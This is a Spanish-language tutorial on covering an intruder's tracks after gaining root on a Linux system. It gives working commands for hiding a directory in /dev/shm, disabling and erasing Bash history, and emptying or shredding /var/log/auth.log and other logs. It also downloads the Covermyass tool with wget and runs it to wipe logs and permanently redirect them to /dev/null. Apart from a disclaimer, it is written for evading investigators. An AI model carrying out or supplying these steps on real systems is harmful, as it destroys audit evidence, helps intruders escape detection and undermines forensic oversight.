Una de las principales habilidades que debe tener un hacker es saber ocultar su rastro para evitar que los investigadores o expertos en ciberseguridad y forense digital puedan detectar su identidad. Estas técnicas se vuelven mucho más importantes en caso de que los cibercriminales deseen acceder a un sistema comprometido en el futuro.
En esta ocasión, los expertos en ciberseguridad y forense digital del Instituto Internacional de Seguridad Cibernética (IICS) mostrarán algunos conceptos básicos para esta actividad, incluyendo eliminación de historial Bash y borrado de registros en sistemas Linux.
Antes de continuar, le recordamos que este artículo fue elaborado con fines informativos y no debe ser tomado como un llamado a la acción, por lo que IICS no es responsable del mal uso que pueda darse a la información aquí contenida.
Comprometer el objetivo
Aunque suene obvio, debemos recordar que el primer paso es el ataque al objetivo. En este ejemplo, los expertos en ciberseguridad y forense digital explotan un procesamiento incorrecto de comandos en el sistema objetivo para inyectar comandos arbitrarios y obtener un shell, el cual deberá ser actualizado para ser completamente interactivo.
Este procedimiento simplificará enormemente el trabajo. Después de eso, podemos realizar una escalada de privilegios para aprovechar al máximo las ventajas del sistema afectado.
Crear un directorio oculto fácilmente extraíble
Después de obtener acceso root, es posible crear un directorio oculto para trabajar y almacenar cualquier script o archivo en él, mencionan los expertos en ciberseguridad y forense digital.
Por un lado, estas acciones pueden pasar desapercibidas para los administradores de sistemas novatos, por lo que en determinados escenarios se requerirán mayores habilidades. Primero, busquemos todos los directorios manipulables usando el siguiente comando:
root@target:/# find / -perm -222 -type d 2>/dev/null
/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
Podemos usar el comando mkdir para crear un directorio oculto agregando un punto al nombre:
root@target:/# mkdir /dev/shm/.secret
Los expertos en ciberseguridad y forense digital recomiendan configurar el comando para listar el contenido de /dev/shm. Como puede ver, no aparece nada:
root@target:/# ls -l /dev/shm/
total 0
El directorio solo aparece cuando usamos el switch -a para listar todos los archivos y directorios:
root@target:/# ls -la /dev/shm/
total 0
drwxrwxrwt 3 root root 60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x 2 root root 40 2019-06-19 13:49 .secret
Para eliminar un directorio después de que haya terminado de trabajar en el sistema comprometido, use el comando rmdir:
root@target:/# rmdir /dev/shm/.secret/
Eliminar el historial de Bash
Bash es una popular interfaz de usuario de línea de comandos capaz de mantener en la memoria una lista de los comandos utilizados en la sesión actual, por lo que estos datos son el primer objetivo a eliminar para cubrir nuestros pasos. Empleando el comando history, podremos ver los detalles de la más reciente actividad en el sistema:
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history
Los comandos se escriben en la variable de entorno HISTFILE, generalmente .bash_history. Podemos usar el comando echo para encontrar la ubicación, señalan los expertos en ciberseguridad y forense digital:
root@target:/# echo $HISTFILE
/root/.bash_history
A continuación, usaremos el comando unset para eliminar la variable:
root@target:/# unset HISTFILE
Repitiendo de nuevo el procedimiento, vemos que no aparecen datos en el historial:
root@target:/# echo $HISTFILE
Para evitar que se guarde el historial de comandos, también puede enviarlo a /dev/null. Para hacer esto, establezca la variable:
root@target:/# HISTFILE=/dev/null
O haga lo mismo con el comando export:
root@target:/# export HISTFILE=/dev/null
El historial ahora se enviará a /dev/null (en otras palabras, a ninguna parte):
root@target:/# echo $HISTFILE
/dev/null
Establezca el número de comandos que persistirán durante la sesión actual en 0 usando la variable HISTSIZE:
root@target:/# HISTSIZE=0
De otro modo, puede usar el comando export:
root@target:/# export HISTSIZE=0
Cambie el número de líneas permitidas en el historial usando la variable HISTFILESIZE. Establezca este valor en 0:
root@target:/# HISTFILESIZE=0
O bien use export:
root@target:/# export HISTFILESIZE=0
Según los expertos en ciberseguridad y forense digital, puede utilizar el comando set para cambiar los parámetros del shell. Para deshabilitar la opción de historial, use el siguiente comando:
root@target:/# set +o history
Para encender el historial de nuevo:
root @ target: / # set -o history
De manera similar, puede usar el comando shopt para cambiar las opciones del shell. Para deshabilitar el historial, use el siguiente comando:
root@target:/# shopt -ou history
Encender otra vez:
root@target:/# shopt -os history
Al ejecutar comandos en el sistema objetivo, a veces es posible evitar almacenarlos en el historial ejecutando el comando con un espacio inicial:
root@target:~# cat /etc/passwd
Este método no siempre funciona y depende del sistema. También es posible borrar el historial simplemente con el switch -c:
root@target:~# history –c
Para asegurarse de que los cambios se escriban en el disco, utilice el switch -w:
root@target:~# history –w
Estas acciones solo borrarán el historial de la sesión actual. Para asegurarse de que se borre el historial cuando cierre la sesión, los expertos en ciberseguridad y forense digital recomiendan usar el siguiente comando:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
También puede usar el comando kill para salir de la sesión sin guardar el historial:
root@target:/# kill -9 $$
Limpiar archivos de registro
Además del historial de Bash, también necesita limpiar los registros para pasar desapercibido, señalan los expertos en ciberseguridad y forense digital. A continuación, se muestran algunos archivos de registro comunes y su contenido:
- /var/log/auth.log – Autenticación
- /var/log/cron.log Cron – Tareas
- /var/log/maillog – Correo
- /var/log/httpd – Apache
Es posible eliminar el registro usando el comando rm:
root@target:/# rm /var/log/auth.log
Este proceso es poco recomendable, ya que podría levantar sospechas. Por tanto, se recomienda dejar el archivo vacío en lugar de eliminarlo por completo; para ello, puede usar el comando truncate y reducir el tamaño del archivo a 0:
root@target:/# truncate -s 0 /var/log/auth.log
Es necesario considerar que la función truncate no siempre está presente y no en todos los sistemas.
Se puede hacer lo mismo asignando “nada” al archivo:
root@target:/# echo '' > /var/log/auth.log
Y también use > para limpiar un archivo:
root@target:/# > /var/log/auth.log
También podemos enviarlo a /dev/null:
root @ target: / # cat/dev/null>/var/log/auth.log
O use el comando tee:
root@target:/# true | tee /var/log/auth.log
También puede usar el comando dd para no escribir nada en el archivo de registro:
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
El comando shred se puede utilizar para sobrescribir un archivo con datos binarios sin sentido:
root@target:/# shred /var/log/auth.log
Además, puede agregar -zu para truncar el archivo y sobrescribirlo con ceros:
root@target:/# shred -zu /var/log/auth.log
Usar una herramienta para ocultar posibles rastros restantes
Para minimizar la probabilidad de detección, los expertos en ciberseguridad y forense digital recomiendan el uso de un script especial. El script Covermyass, por ejemplo, automatiza los procesos descritos anteriormente, incluyendo el borrado de archivos de registro y la desactivación del historial de Bash.
Si el dispositivo objetivo tiene acceso a Internet, puede descargar el script de GitHub usando wget (de lo contrario, el script deberá transferirse manualmente):
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Cambie a un directorio grabable y use chmod para hacerlo ejecutable:
root@target:/tmp# chmod +x covermyass
A continuación, ejecutemos el siguiente comando:
root@target:/tmp# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>
Contamos con un mensaje personalizable con varias opciones para elegir. Elijamos el primero para borrar los registros:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
También es posible deshabilitar Bash y el historial de inicio de sesión con la opción 2:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Si necesita borrar todo con urgencia, simplemente siga este comando:
root@target:/tmp# ./covermyass now
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Conclusión
Estos son los métodos más empleados por los hackers para ocultar sus pasos después de un ataque. La funcionalidad de estas técnicas varía dependiendo del sistema objetivo, por lo que esto en realidad es solo el primero paso en la especialización del hacker.
Para conocer más sobre riesgos de seguridad informática, malware, vulnerabilidades y tecnologías de la información, no dude en ingresar al sitio web del Instituto Internacional de Seguridad Cibernética (IICS).
Trabajando como arquitecto de ciberseguridad, el se enfoca en protección de datos y la seguridad de datos empresariales. Antes de unirse a nosotros, ocupó varios puestos de investigador de ciberseguridad con diferentes empresas. También tiene experiencia en diferentes industrias como finanzas, salud medica y reconocimiento facial.